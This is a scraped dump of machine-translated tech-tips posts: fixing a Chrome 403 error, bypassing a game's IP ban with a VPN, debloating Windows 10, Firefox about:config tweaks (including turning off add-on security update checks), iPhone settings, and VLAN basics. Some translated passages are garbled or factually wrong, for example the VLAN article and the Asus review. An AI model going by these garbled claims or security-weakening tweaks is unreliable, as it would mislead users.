with the form: domain.extension (eg tipsmake.com). Try again with another device or another network. Try accessing the website on a different device, or on a different Wi-Fi connection. This way you can tell if the problem lies with your device or network. Restart the Wi-Fi Router. If you determine that the network is failing, try turning off your router or network modem, wait a few seconds, and then turn it back on. Contact your Internet service provider. If you've tried many ways and still haven't solved the problem, this is when you need the help of your Internet service provider. Maybe they will announce the IP block or help you find out the specific reason. 2. Delete Cookies The 403 Forbidden error may be related to local data that the browser stores. If that data is corrupted or incorrect, you will be denied access to the site.\nFirst, try turning on incognito mode and visit the website again. To enable incognito mode, click the menu icon in the top right corner, select New icognito window.\n  Visit the site in an incognito window to see if the 403 error still occurs. If you can still view the website normally, it means that there is a problem with the cookie data, you now need to clear your browser's cookies.\nStep 1: Click the menu and select Settings.\n  Step 2: Scroll down to the Privacy and security section, select Clear browsing data.\n  Step 3: Check the box Cookies and other site data and then Clear data.\n  3. Check if the website is down or not Sometimes, websites have problems and need maintenance. To know for sure if the problem lies here or not, you need to check the website.\nStep 1: Visit IsItDownRightNow? page. This is a tool to check if a website is down or not.\nStep 2: Enter the website URL in the search box on the page and press Enter.\nStep 3: Wait for the check to complete, you will get 'UP' or 'DOWN' result. 'UP' means the site is up and running, 'DOWN' means it's down.\nIf the site is down, it means the operator is trying to fix it. All you have to do is wait until it works again.\nConclude The 403 Forbidden error is not a serious error, but it also gives you quite a lot of trouble. Hope the above tips will help you fix the 403 error, good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXp1fJJmnaiqkp6xpbHNZpyrqp%2BnerC6jKCmqJ%2BcmnqktNGopJ4%3D\n","link":"/post/how-to-fix-403-forbidden-error-on-google-chrome/","section":"post","tags":null,"title":"How to fix 403 Forbidden Error on Google Chrome"},{"body":"If you are having trouble checking the game version in Boom Mobile, then you have been banned by Boom M from playing in Vietnam. The instructions in the article below will help you fix the error. Check out the game version in Boom M.\nYou can also apply this method with Boom Mobile version on Android emulator.\nWays to receive Lucci Purple, Diamond and Gold in Boom Mobile Guide to renaming characters for free in Boom M How to unlock characters in Boom Mobile 1. How to fix errors cannot access Boom Mobile on Android Step 1: The cause of this error is Vietnam's IP address has been Boom M banned, to play Boom Mobile, please install VPN Master Application or refer to VPN application for other phones.\nIn the main VPN Proxy Master interface, select Free.\n   If you see a dot with green square below you have fake IP successfully already.\n  If an update is required, click Download . Then go out to turn off VPN and update by going to CHPlay, find Boom M and click Update.\n  Next, if you go back to Boom M and you see an update request, you can keep it up to date.\n  Next you will have to recreate the character and redo the first training session.\n  After you have completed the training, click on the Settings icon.\n  In the Settings view, select Account \u0026gt; select Account synchronization .\n  Next click Connect account .\n  Next, log in to your Google or Facebook account.\n  2. How to fix errors cannot access Boom Mobile on iOS Step 1: First download the Unlimited Privacy VPN application as shown below, boot up, click Current Region to select the Fake IP area. Next click Click to Connect.\n   If there is a message asking to start VPN, click Allow \u0026gt; next you will be moved to the VPN menu in the settings, if you see the status is turned on, it is done.\n   Switch to the VPN application interface, you will see the IP address has been moved to the selected area, here I choose Singapore.\n  After that, go back to the game and play normally. If there is an update, you turn off the VPN and update on the normal App Store like on Android.\n  With instructions to fix bugs, you can't go to Boom Mobile on here, hope you will continue to find your childhood journey on your smartphone.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqmvtGoqaxllKSytHnNqKtmn59iwbB5waimpmWdpK%2BquMQ%3D\n","link":"/post/how-to-fix-errors-does-not-go-to-boom-mobile/","section":"post","tags":null,"title":"How to fix errors does not go to Boom Mobile"},{"body":"With Windows 10 there are many more features and beautiful effects on the interface of the system. With each of those features, it consumes a certain amount of resources on the computer system and affects the weakly configured computers. However, those options can be turned off by the user to create a much faster and more stable operating environment. Today, Software Tips will introduce you How to speed up Windows 10, optimize Windows 10 for maximum performance.\n  1. Delete unnecessary things on Windows Windows has thousands of different data if you do not know and do not understand much but delete it around then Win error will occur. But there have been people who write the tool to run the task of deleting unnecessary things on Windows to operate faster and more stable.\nLink Download: https://github.com/Sycnex/Windows10Debloater\nStep 1: You proceed to the above link and download the software to your computer. You choose to download Download Zip and extract to use.\n  Step 2: You Right-Click on Windows10Debloater.ps1 and select Run with PowerShell to run the software.\n  Step 3: The software will automatically run and scan all data of Windows. The system will distinguish between erasable and indelible software.\n  For software that can be deleted, the system will automatically delete. Then the software proceeds to delete the entire Registry .\n  Step 4: After removing unnecessary things, the system will ask if you want to continue or not? You type Y → Enter to continue the software.\n  Step 5: Then the system proceeds to delete and disable the unnecessary software. You choose Yes / No (Yes / No) depending on your needs.\n  Step 6: After the software finishes running, the system will automatically exit. The first difference you see most clearly is that my Start section is a lot cleaner.\n  2. Use Registry optimization With the Registry you can make changes by creating Note and saving as * .reg to boot. But that takes a lot of time and requires a lot of knowledge. A simpler way is to use the Registry pre-optimized developers.\nLink Download: https://media.askvg.com/downloads/2009/01/Registry-Tweaks-Collection-to-Make-Windows-Faster.zip\nStep 1: You proceed to extract the downloaded file and run the Registry Tweaks to Make Windows Faster file .\n  Step 2: The system will have a warning. Click Yes to continue.\n  Detailed features of the Registry Tweaks to Make Windows Faster :\nAutoEndT task: Force Windows to automatically end user services when a user logs out or shuts down the computer. HungAppTimeout: Reduces system wait time before ending user processes when a user clicks the \"End task\" button. MenuShowDelay: Reduce time to display the Menu. WaitToKillAppTimeout: Reduce waiting time when closing applications. LowLevelHooksTimeout: Reduce system latency before closing non-responsive services. MouseHoverTime: Reduce the time the delay pops up when displaying the description. NoLowDiskSpaceChecks: Disable disk space checking. LinkResolveIgnoreLinkInfo: Prevent Windows from wasting time searching for a program that no longer exists in your system when you try to open it with a link. NoResolveSearch: Prevent Windows from searching for drives for keyboard shortcuts. NoResolveTrack: Prevent Windows from using the tracking feature of the NTFS file system to use keyboard shortcuts. NoINETOpenWith: Turn off the \"Search on the Internet\" prompt in the \"Open with\" window so you can directly view on the available programs. 3. Turn off animation effects Step 1: You press Windows + R to open the Run window and then type: \" sysdm.cpl \" and press Enter .\n  Step 2: When the System Properties window appears, move to the Advanced section and select Settings . in the Perfomance section .\n  Step 3: In the Visual Effects section, there are many different optimization options. But to operate smoothly, you choose according to the following settings. Select Custom .\n  Step 4: You proceed to remove the traces according to the following table.\n  4. Turn off the effects on Windows Step 1: You press Windows + I to open Settings . Then choose Ease of Access .\n  Step 2: Next, select the Other Options line and turn off Play Animations in Windows .\n  5. Turn off Windows instructions notifications Step 1: You press Windows + I to open Settings . Then select the System section .\n  Step 2: Next, select the Notifications \u0026amp; actions option and turn off Get tips, tricks and suggestions as you use Windows .\n  6. Turn off applications that start with Windows There are applications that ask for permissions as soon as we start the computer so that they run in the background to affect the speed.\nStep 1: You right-click on the Taskbar and then select Task Manager .\n  Step 2: Switch to the Start-up tab .\n  Step 3: Right-click on the applications that do not need to start with Windows and select Disable .\n  Thus, the Software Tips have shown you How to speed up Windows 10, optimize Windows 10 to get the maximum maximum performance. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqugmrKledSpZLChnpm8uL%2BMamdmp6Cptq612Z5ksKGemby4v4xqZ2aen6d6rq3XoqSupV2lsrOyzqukmqaTmg%3D%3D\n","link":"/post/how-to-speed-up-windows-10-optimize-windows-10-for-maximum-performance/","section":"post","tags":null,"title":"How to speed up Windows 10, optimize Windows 10 for maximum performance"},{"body":" SlideShark allows you to use your iOS devices, such as iPad, iPhone, and iPod Touch, to share and deliver professional presentations anytime, anywhere. All you have to do is put your PowerPoint presentation files on your device and use...\nMethod 1of 2:\nUploading PowerPoint Files from a Cloud App  Launch a cloud app. Locate the cloud app on your iOS device. It can be Box, OneDrive, Dropbox, and/or others. Tap on it.\n  Locate the PowerPoint file in the cloud app. Navigate through the folders and files in your cloud account until you find the PowerPoint file you want to upload to SlideShark.\n  Open the file. Tap the PowerPoint file. If your cloud app supports viewing of presentation files, it will be loaded on your screen.\n  Open in SlideShark. On the header toolbar, tap the square icon with an arrow pointing up. This will bring out the menu for sharing. Tap the button for 'Open in…' and the file will be prepared for export. A list of apps that can support the PowerPoint file will be displayed. Swipe through them, and tap 'Open in SlideShark.'\n  Upload to SlideShark. SlideShark will be launched, and a message box will appear confirming that you want to open the file in SlideShark. Tap the 'Upload' button to upload it to your SlideShark account.\n Method 2of 2:\nUploading PowerPoint Files from an Email  Launch Mail. Locate the mail app on your iOS device. Tap on it.\n  Open the email with the PowerPoint file. Look through your email inbox until you find the email that contains the PowerPoint file you want to upload to SlideShark. Tap on it. The email will be loaded, and you can see the PowerPoint file attached to it.\n  Open the file. Tap the PowerPoint file attachment. Most email apps support viewing of presentation files. If yours does, it will be loaded on your screen.\n  Open in SlideShark. Tap anywhere on the screen to bring out the toolbars. Tap the square icon with an arrow pointing up from the top right corner. This will bring out the menu for sharing. A list of apps that can support the PowerPoint file will be displayed. Swipe through them and tap 'Open in SlideShark.'\n  Upload to SlideShark. SlideShark will be launched, and a message box will appear confirming that you want to open the file in SlideShark. Tap the 'Upload' button to upload it to your SlideShark account.\n  Lesley Montoya Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2gobyisIypprCdoqW8qrrTZp2ipJWoerW7jKyjopyVqLWivspmpqdlmaTA\n","link":"/post/how-to-upload-powerpoint-files-to-slideshark-on-ios/","section":"post","tags":null,"title":"How to Upload PowerPoint Files to SlideShark on iOS"},{"body":"Asus K43E is quite thick and heavy but reasonable design makes the heat sink better.\nAsus K43 is aimed at young, dynamic users with a variety of colorful covers. The machine uses Intel Core processor with a powerful second generation and high quality Altec Lansing speaker system. However, this model has a slightly heavy weight and glossy plastic cover is easy to get dirty.\n  Asus K43E is colorful for young people.\nAsus K43E equipped with 14-inch screen resolution of 1366 x 768 pixels, optical read / write DVD drive, Altec Lansing \"brand name\" speaker system, carved plastic shell still sinks and weighs 2.44 kg.\nAsus K43E has many configuration options in Vietnam. The cheapest models are Intel B940 processor with 2 GHz speed, 2GB RAM, 500GB hard drive, Intel GMA HD graphics chip costing 9.7 million. Next are models using Intel Core i3-2310M processor with 2.1 GHz speed, 2GB RAM cost 11.6 million.\nThis is also the model used to evaluate in the article. Finally, models costing 12.4 million VND with higher RAM of 4GB but also using Intel Core i3-2310M chips clocked at 2.1 GHz.\nAsus K43E has 7 colors to choose from including blue, light green, pink, red, yellow, black, dark brown.\nHere are some summaries, detailed reviews of this form (click on each section to see details):\nPart 1: Design, keyboard, Touchpad \n Part 2: Screen, performance \n Part 3: Sound, heat sink, battery life \n Part 4: Compare with some other models. \n\nGeneral assessment:\n* Advantages\n- Good heat dissipation ability\n- Many colors to choose from - Attractive price compared to the configuration\n* Disadvantages :\n- Thick and heavy\n- Limit connection port - Glossy plastic cover is easy to get dirty\nDesign.   Plastic shell still sinks.\nAsus K43E plastic ball etched outer shell still sinks. This type of design is no longer popular in this year's versions at other brands like Toshiba or HP. The downside of the glossy shell is that it is easy to stick fingerprints, dirty and scratched but is more fashionable and younger. The small, still-grained design according to the curved lines also contributes to the modern definition of the machine.\nAsus K43E is quite thick and heavy. Although only equipped with 14 inch screen, but this model weighs 2.44 kg while the average for laptops and screen size is only 2.2 kg or lower. When holding in hand, K43E is also quite thick and quite difficult to carry around.\n  Right next to the machine.   Left edge.   SD card reader at the front edge.\nAs entertainment line, K43E is equipped with typical connection ports like HDMI and VGA, in addition to USB 2.0 port, LAN, SD card reader, microphone, headphone. However, unfortunately there is no appearance of USB 3.0 port and eSATA high-speed data exchange.\nThe power switch is located in the middle of the left edge. The design is different from many other models that may cause problems when used.\nKeyboard, touchpad.   Asus K43E keyboard.\nEquipped with chiclet keyboard is popular now but the keyboard quality of K43E is only average. The keys are quite light, but the short-key journey feels like it's not real. Users will take a while to get acquainted. In return, the keys have a reasonable size and distance, a large navigation key for better web surfing.\nAnother shortcoming in K43E is the lack of multimedia shortcuts, even though this is entertainment.\n  Touchpad.\nCompared to the keyboard, the touchpad of the device has a better quality. Sensitivity is quite good in combination with two sharp-touch keys that make this mobile operation very comfortable. At the bottom of the two mouse buttons is a series of signal lights on the hard drive, battery life, wi-fi .\nPart 2: Screen, performance \n Part 3: Sound, heat sink, battery life \n Part 4: Compare with some other models. \n\nScreen.   Mirror screen on Acer Aspire 4750G.\nAsus K43E equipped with 14 inch screen resolution of 1366 x 768 pixels. Due to the use of a universal mirror screen, the display image is quite sharp but has a lot of shadow if used outdoors or has a strong light source behind. The screen quality of the K43E is not much better than other laptops of the same range. The viewing angle is not about 60 degrees above the screen perpendicular and much narrower at the top or bottom.\nPerformance performance. Asus K43E equipped with 14-inch screen, Intel Core i3-2310M processor clocked at 2.1 GHz, 2 GB RAM memory, integrated Intel HD graphics chip and 500 GB hard drive speed of 5,400 rpm .\n  Scoring with Windows Experience Index.\nWith hardware like this, this model reaches 4.5 points (get low score is clicked due to graphics capabilities) when marked with Windows Experience Index system on Windows 7 Ultimate (64bit) operating system installed. On a scale of detail, the processor reaches 6.5 points, RAM memory is 5.5 points while the graphics capability is 4.5 points and the graphics for the game reaches 6.0 points.\n  Scoring with PC Mark Vantage.\nContinuing to use PCMark Vantage program to evaluate the overall power, Portégé scored 3,186 points, the score is not really high compared to other laptops of the same range. Even 2010 models using Intel Core 2 Duo processors and integrated graphics chips also achieved similar scores.\n  Score with 3D Mark 06.\nNot using discrete graphics card but K43E still reached 3,128 points when evaluated by 3D Mark 06 program. This score is nearly equal to the popular models equipped with second generation Core i3 chip but with discrete graphics card of Nvidia as Acer 4750G. This score is approximately the average of over 3,000 points in the aptopts using Core i3, i5 chips and no other discrete graphics cards.\n  Microprocessor scoring.\nContinue using the Cinebech 11.5 program to evaluate the processor and try OpenGl. The result is a microprocessor that achieves 2.03 points and an average graphics with 7.29 frames per second.\n  Large hard drive.\nThe hard drive that K43E uses is 500GB of 5,400 rpm, manufactured by Hitachi. In fact, the average read speed of data on the drive is 60.8 MB / sec, which is about 60 MB / sec on hard drives at the same speed and capacity.\nPart 1: Design, keyboard, Touchpad \n Part 3: Sound, heat sink, battery life \n Part 4: Compare with some other models. \n\nRadiators.   Machine heat sink slot.   Temperature when starting the machine.\nThick and heavy is a drawback in Asus K43E design but this has helped the machine have better heat dissipation. When the device runs Full load (CPU works 100%), the microprocessor temperature also only increases to about 60 degrees C, the hard drive temperature is about 33 degrees C while the general temperature is about 60 degrees Celsius.\nWhen operating, the machine cover is also less hot, the heat dissipation is quite good to help users feel very comfortable to use.\nBattery life. Using the popular 6 cell battery, K43E takes about 3 hours to fully charge if not in use and more than 3 hours and 30 minutes if both charging and using.\nExperimental open Firefox loads 10 web pages and automatically reloads every 15 minutes, opens an online music player page and gives continuous playback, using headphones instead of the speakerphone and leaving the volume level at 70%. 50% light for the machine to run until it turns itself off (to 5%), this time reaches 3 hours and 10 minutes.\n  It uses 6-cell battery included.\nWhile testing the device to run a standard 720p HD movie and play it back continuously until it is off, turn off the Wi-Fi connection, use a headset instead of the speaker and put it at a volume of 70% (negative Windows Media Player program bar to 100%), 50% brightness for the device to run until it is turned off (with 5% battery level), this time reaches 2 hours 56 minutes.\nThe battery life is much better than the 2010 models but approximates the line with Intel Core i second generation processors.\nSound.   Sound adjustment software with the device.\nEquipped with efficient Altec Lansing speaker system, the sound quality of K43E is quite good. More than most laptops with the same money. The volume of the loudspeaker is quite large, enough to hear in the room about 25 m2. The sound is more pronounced in treble tones, but the bass is slightly more suitable for light music. When screwed up, the sound is a bit cheap.\nPart 1: Design, keyboard, Touchpad \n Part 2: Screen, performance \n Part 4: Compare with some other models. \n\nCompare with models of the same price range, screen size. Model Asus K43E Acer Aspire 4750G 14 inch 14 inch screen Intel Core i3-2310M chip speed 2.1 GHz Intel Core i5-2410M speed 2.3 GHz RAM 2GB DDR3 2 GB DDR3 Intel HD Graphics Graphics NVIDIA GeForce GT 520M 500GB hard drive (5,400 rpm) 500GB (5,400 rpm) The port connects 3 USB 2.0 ports, HDMI, card reader, VGA. 2 USB 2.0 ports, USB 3.0, HDMI, card reader, VGA. Weight 2.44 kg 2.2 kg Highlight color, good heat dissipation, Alteclasing discrete graphics card, USB 3.0 port Part 1: Design, keyboard, Touchpad \n Part 2: Screen, performance \n Part 3: Sound, heat sink, battery life \n\nncG1vNJzZmismaXArq3KnmWcp51kv6bCyJ6uZpmjqsBut5NsnA%3D%3D\n","link":"/post/review-asus-k43e/","section":"post","tags":null,"title":"Review Asus K43E"},{"body":"FF3 offers a lot of customization, but there are still a few hidden features only for \"qualified\" people. If you're a tinkerer, \"roll up your sleeves\" and explore about: config 1. Turn off the compatibility check \n By default, Firefox 3 disables add-ons that are not updated to the latest version to keep the browser stable. But sometimes FF automatically updates, making the familiar add-on unusable, very inconvenient when working. You can block this feature at the line \n extensions.checkCompatibility and extensions.checkUpdateSecurity , set the value to false 2. Turn off Prefetch \n Firefox and Mozilla-based browsers all have Prefetch feature, which automatically preloads \"guessed\" site content that will be visited to save time to load pages. Users of continuous aggregate sites such as Google, own low-speed Internet access, or use low-RAM computers should turn off this feature. network.prefetch-next , set the value to False 3. Turn off the flashing word Turning off flashing characters causes \"eye pain\" browser.blink_allowed = False 4. Speed ​​up the system Changing the value of the following commands will cause FF to request \"greedy\" data when accessing the web server and PC loading a bit more. Ordinary users rarely need to change these values, but you can try if you want: network.http.pipelining, from false to true \n network.http.pipelining.maxrequests from 30 to 8 \n network.http.max-connections from 30 to 96 \n network.http.max-connections-per-server from 15 to 32 \n network.http.max-persistent-connections-per-server from 6 to 8 \n network.http.pipelining.ssl from false to true \n network.http.proxy.pipelining from false to true 5. Remove the close tabs on each tab\n  . and leave a single button on the left end\nbrowser.tabs.closeButtons , change the default value to 3 6. Remove countdown before installing addon \n FF always \"machines\" a 3-0 countdown before allowing to install a new add-on, which is very troublesome when installing multiple add-ons at the same time. security.dialog_enable_delay , converted to 0 7. Increase the number of tabs that can be opened again after closing\n  FF 3 has an \"undo closed tab\" function on the history menu, which helps you reopen tabs that are closed when browsing. If you feel the list of the 10 most recent tabs is not enough, you can increase it at\nbrowser.sessionstore.max_tabs_undo 8. Turn on the word fill function\n  FF2 fills in the missing part itself when typing the url into the browser address bar. Users \"remember\" this feature on FF3 can find the old days at\nbrowser.urlbar.autoFill , changed to True 9. Quickly scroll the page by holding the alt key + the mouse scroll Turn on page scrolling when combining the mouse wheel and alt key. mousewheel.withaltkey.action 10. Restore default\n  And finally \"life buoy\" fixes every mistake in the \"tinkering\" about: config - left-click on the icon on the top right of the command list to display a selection \"restore value default\".\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKamrKxdnru1sdGeqq2hnpx6rsXSrZyroZWoeqq6jJ%2Bgq52WpMVufw%3D%3D\n","link":"/post/the-most-interesting-mysteries-in-firefox-3/","section":"post","tags":null,"title":"The most interesting mysteries in Firefox 3"},{"body":"The biggest change as soon as you use iOS 10 version is that the unlocked interface on the device has changed. Slide in Unlock has been replaced by the words Press to Unlock. That means the user will need to click the Home button to scan the fingerprint or enter the password to open the device. And this change brings a lot of complexity and complexity to users. In this article, we will help you to unlock iOS 10 device much simpler with 3 ways below.\n1. Turn off the application or widget on the lock screen: As mentioned, with iOS 9 and below, we will swipe right to unlock the device. As for iOS 10, you will press the Home button to unlock, enter a password or use fingerprints. In particular, in iOS 10 lock screen when we swipe left, right will appear widgets or camera applications, sometimes annoying to users. However, we can change it right back on the device's setup.\n  You go to Settings\u0026gt; General settings\u0026gt; Accessibility . Then select on the Home button and turn on the feature Keep your finger open . The unlocked interface will now return to the iOS 9 interface.\nNote to users, this feature is only useful for devices equipped with Touch ID, from iPhone 5S and later to be used.\n    2. Turn off the Pop-up feature to enable: With the iPhone 6S series, there will be an extra function to turn on. As soon as we pick up the device, the lock screen will automatically open.\n  This also causes complicated sessions for users, reducing the battery life when just holding the device is the screen will immediately light up. To turn off this feature, go to Settings\u0026gt; Display \u0026amp; Brightness . In the Pop-up to turn on feature , we will push the horizontal bar to the left to turn off this feature .\n   3. Turn off message reply right on the lock screen: In iOS 10, when a new message is announced on the screen, just click on the message on the lock screen to answer. Also quite convenient for users when you can quickly reply to messages. But in fact, in order to do this, you have to own an iPhone 6S on hand. As for previous lives, it is not so simple, you have to click and click to answer the message.\n  To turn off the reply feature on the lock screen, you can also customize it in the lock screen. We go to Settings\u0026gt; Touch ID \u0026amp; Password . In the Reply by message , set the wrong horizontal bar to switch to Disable this feature.\n   Here are 3 ways to help you simplify a lot more unlocking operations on iOS 10, remove unnecessary things that complicate unlocking. The adjustment is also simple, when we can change the on or off features right on the device.\nRefer to the following articles: How to style messages for iMessage iOS 10 6 simple ways to speed up iOS 10 on old iPhones How many tricks have you missed using this iPhone? I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51kwq%2B4zpyiZqGfqHpyfIysmqudlaN6qr%2BMpqycoF2otq68y56pZq%2BZqbVuf4ywmLKr\n","link":"/post/unlock-ios-10-screen-is-much-simpler-with-3-ways/","section":"post","tags":null,"title":"Unlock iOS 10 screen is much simpler with 3 ways"},{"body":"Find out below.\nTrack iPhone even when it's turned off Starting with iOS 15, some modern iPhone models (such as iPhone 13) can be located remotely even while powered off via the Find My network and the Find My app.\nThe reason this 'unbelievable' thing is possible is because when powered off, the iPhone still provides a small amount of energy reserve for the Bluetooth chip, UWB and NFC, thereby making it easier to locate the lost iPhone. , even if the battery is nearly exhausted or the device is completely turned off.\nIn other words, iPhone won't turn off completely, but goes into a low-power state and acts like an AirTag to pick up Bluetooth signals from any nearby iOS devices, and then send back their location information. it's real time.\nOn supported devices, when iPhone is turned off, you'll see a 'iPhone Findable After Power Off' message on the 'Slide to Power Off' screen.\n  Nếu nhấn vào liên kết 'iPhone Findable After Power Off' này, bạn sẽ thấy một menu bật lên, trong đó có tùy chọn để tạm thời tắt tính năng này bằng cách nhấn vào 'Temporarily Turn Off Finding' (Tạm thời tắt tính năng tìm kiếm).\n  Sau đó, tính năng 'iPhone Findable After Power Off' sẽ bị vô hiệu hóa cho đến lần tiếp theo bạn bật nguồn thiết bị. Nhưng nếu bạn muốn có một giải pháp lâu dài hơn, hãy thực hiện các bước thiết lập dưới đây.\nVô hiệu hóa tính năng theo dõi iPhone khi đã tắt nguồn iPhone Findable After Power Off là một tính năng hữu ích, nhưng vì một lý do nào đó mà bạn không có nhu cầu sử dụng. Thực hiện các bước thiết lập đơn giản dưới đây để vô hiệu hóa nó.\nTrước tiên, mở ứng dụng Settings (Cài đặt) bằng cách nhấp vào biểu tượng bánh răng trên màn hình chính.\n  On the Settings interface that appears, click on your Apple ID name at the top.\nIn the Apple ID settings, select 'Find My'.\n  Under 'Find My', tap 'Find My iPhone'.\n  In the Find My iPhone preferences, tap the switch next to 'Find My Network'.\n  In the pop-up message that appears, select 'Disable'.\n  (Warning: If you turn off Find My here, you won't be able to remotely locate your iPhone if it's offline, low on battery, or powered off).\nNow, 'Find My Network' has been turned off, and you won't be able to use 'Find My' to locate your iPhone when powered off.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWZpbWwusRmq6uZk6C2r7OMnq2epl2staa6jKmmsJ2imrFuu8WfZKGnp2LBsHnDoqqampyaerW0yKw%3D\n","link":"/post/what-is-iphone-tracking-even-when-powered-off-how-to-disable-this/","section":"post","tags":null,"title":"What is iPhone tracking even when powered off? How to disable this"},{"body":"TipsMake.com - Have you ever asked yourself questions like: virtual LAN (or VLAN)? When and why do you need a VLAN? The following article will share with you the basics of VLAN, giving you a sense of VLAN and its usefulness.\nWhat is VLAN? Most of you understand what a LAN is. However, we should repeat a bit, because if you don't know what a LAN is, you won't be able to have a VLAN concept. A LAN is a local area network (short for Local Area Network), which is defined as all computers in the same broadcast domain. Keep in mind that routers block routers, while switches only forward them.\nVLAN stands for Virtual Local Area Network or virtual LAN. A VLAN is defined as a logical group of network devices and is set up based on factors such as functions, parts, applications . of the company. Technically, VLANs are a broadcast domain created by switches. Normally, the router plays the role of creating the broadcast domain. For VLANs, switches can create broadcast domains.\n  Artwork: thebryantadvantage.com\nThis is done when you - the administrator - set some switch ports in the VLAN except VLAN 1 - the default VLAN. All ports in a single VLAN are in a single broadcast domain.\nSince switches can communicate with each other, some ports on switch A may be in VLAN 10 and some ports on switch B may also be in VLAN 10. The broadcast messages between these computers will not be exposed. on ports belonging to any VLAN except VLAN 10. However, all of these computers can communicate with each other because they belong to the same VLAN. Without additional configuration, they will not be able to communicate with other computers outside this VLAN.\nVLAN classification Port - based VLAN: is a simple and popular VLAN configuration. Each switch port is attached to a specific VLAN (default is VLAN 1), so any host device attached to that port belongs to a certain VLAN.\n MAC address based VLAN: This configuration is rarely used because of the inconvenience in management. Each MAC address is marked with a specific VLAN.\n Protocol - based VLAN: This configuration is similar to MAC Address based, but uses a logical address or IP address to replace the MAC address. The configuration is no longer common using the DHCP protocol.\n Is VLAN necessary?\nCurrently, VLAN plays a very important role in LAN technology. To see clearly the benefits of VLANs, let us consider the following case:\nSuppose a company has 3 divisions: Engineering, Marketing, Accounting, each of which is spread out over 3 floors. To connect computers in one part together, we can install each switch on each floor. That means that each floor must use 3 switches for 3 parts, so to connect 3 floors in the company need to use 9 switches. Obviously, this method is very expensive and cannot take full advantage of the inherent port numbers of a switch. Therefore, VLAN solution was born to solve the problem in a simple way but still save resources.\n  As shown in the figure above, each layer of the company needs only one switch, and this switch is divided into VLANs. The computers in the engineering department will be assigned to VLAN Engineering, the PCs in other parts will also be assigned to the corresponding VLANs, Marketing and Accounting. This way of making it possible to save the maximum number of switches must be used and make the most of the available ports.\nBenefits of VLANs\nSaving bandwidth of the network system: VLAN divides the LAN into several small segments, each of which is a broadcast domain. When there is a broadcast, it is transmitted only in the corresponding VLAN. Therefore, dividing VLANs saves network bandwidth.\n Increased security: Because devices on different VLANs cannot access each other (unless you use a router that connects VLANs). As in the above example, computers in VLAN accounting can only communicate with each other. The machine in VLAN accounting cannot be connected to the computer at VLAN engineer (Engineering).\n Easily add or remove computers to VLANs: Adding a computer to the VLAN is simple, just configure the port for that machine to the desired VLAN.\n High network flexibility: VLANs can easily move devices. Suppose in the above example, after a period of use the company decided to leave each part on a separate floor. With VLANs, you only need to reconfigure switch ports and place them on the required VLANs. VLANs can be configured static or dynamic. In a static configuration, the network administrator must configure each port of each switch. Then, assign it to a VLAN. In the dynamic configuration, each switch port can configure its VLAN based on the MAC address of the connected device.\n One important thing I need to emphasize is that you don't need to configure a virtual LAN unless your computer network is too big and has too much traffic. Many times people use VLAN simply because the computer network they are working on already uses them.\nAnother important issue is that on Cisco switches, VLANs are enabled by default and all computers are in a VLAN. That VLAN is VLAN 1. So by default, you can use all ports on the switch and all computers are able to communicate with each other.\nWhen do you need a VLAN?\nYou need to consider using VLAN in the following cases:\nYou have more than 200 computers in the LAN\n Broadcast traffic in your LAN is too large\n Workgroups need to increase security or be slowed because of too many advertisements.\n Workgroups need to be on the same broadcast domain because they are sharing applications. For example, a company uses VoIP phones. Some people who want to use the phone may belong to another VLAN, not with regular users.\n Or just to convert a single switch into multiple virtual switches.\n Why not subnet?\nOne common question is why not subnet (instead of using VLAN)? Each VLAN should be in its own subnet. VLANs have advantages over subnets in that computers in different physical locations (not returning to the same router) can be in the same network. The drawback of dividing subnets with a router is that all computers on that subnet must be connected to the same switch and that switch must be connected to a port on the router.\nWith VLANs, a computer can be connected to this switch while another computer can connect to the other switch, all computers are still on the same VLAN (broadcast domain).\nHow can computers on different VLANs communicate with each other?\nComputers on different VLANs can communicate with a router or a Layer 3 switch. Since each VLAN is its own subnet, a Layer 3 switch or router must be used to route between subnets.\nWhat is trunk port?\nWhen a link between two switches or between a router and a switch carries the traffic of multiple VLANs, that port is called trunk port.\nTrunk port must run special communication protocol. The protocol used may be Cisco's proprietary ISL protocol or IEEE 802.1q standard.\nHow to create VLANs? How to configure a VLAN network can vary depending on different Cisco switch models. Your goal is:\n Create a new VLAN\n Set each port to the appropriate VLAN\n Suppose we want to create VLAN 5 and 10. We want to put port 2 and 3 into VLAN 5 (Marketing) and port 4 and 5 into VLAN 10 (HR). Here's how to do it on the Cisco 2950 switch:\n  At this point, only ports 2 and 3 can communicate with each other as only ports 4 and 5 can communicate with each other. The reason is because they are on the same VLAN. In order for the computer on port 2 to communicate with the computer on port 4, you need to configure the trunk port to the router so that it can disassemble the VLAN information, route the packet and replenish the VLAN information.\nWhat does VLAN provide?\nVLANs increase the performance of medium and large LANs because they restrict broadcast messages. As the number of computers and the traffic flow increases, the number of broadcast packets also increases. By using VLANs, you will limit the advertisement.\nVLANs also enhance security because you essentially put a group of computers in a VLAN on their own network.\nsummary\nBelow is a summary of the main ideas in the lesson:\nVLAN is a broadcast domain created by switches.\n The administrator must create a VLAN and then specify which port to VLAN manually.\n VLANs increase performance for medium and large LANs.\n All computers are in VLAN 1 by default.\n The trunk port is a special port that uses the ISL or 802.1q protocol, so that it can transmit traffic of multiple VLANs.\n For computers of different VLANs to communicate with each other, you need to use a router or Layer 3 switch.\n ncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWmoa6veceormasn2KwsLrFop6uqpVirm7Cy5qlZqeeYrCqv8KoZKyvmamwqQ%3D%3D\n","link":"/post/what-is-vlan-how-to-configure-a-vlan-on-cisco-switch/","section":"post","tags":null,"title":"What is VLAN? How to configure a VLAN on Cisco Switch?"},{"body":"Although many smartphone manufacturers try to create their own unique algorithms, security with facial recognition is sometimes problematic. Why is that? We will find the answer below.\nHow does facial recognition on phones work? Many facial recognition systems work with infrared scanning instead of the visible spectrum, which is controversial because it cannot scan your face in the dark.\nIn general, face unlock works by using the front camera to assess the unique patterns and contours of your face. After scanning, it saves your facial details into memory and converts them into some mathematical expressions. The smartphone then compares that information with your face to authenticate secure access the next time you try to unlock it with your face.\nHowever, most facial recognition technologies today combine infrared emission spectra with actual algorithms. And they collect facial images as 2D arrays. The idea behind this is to prevent image hacking to unlock.\nFinally, 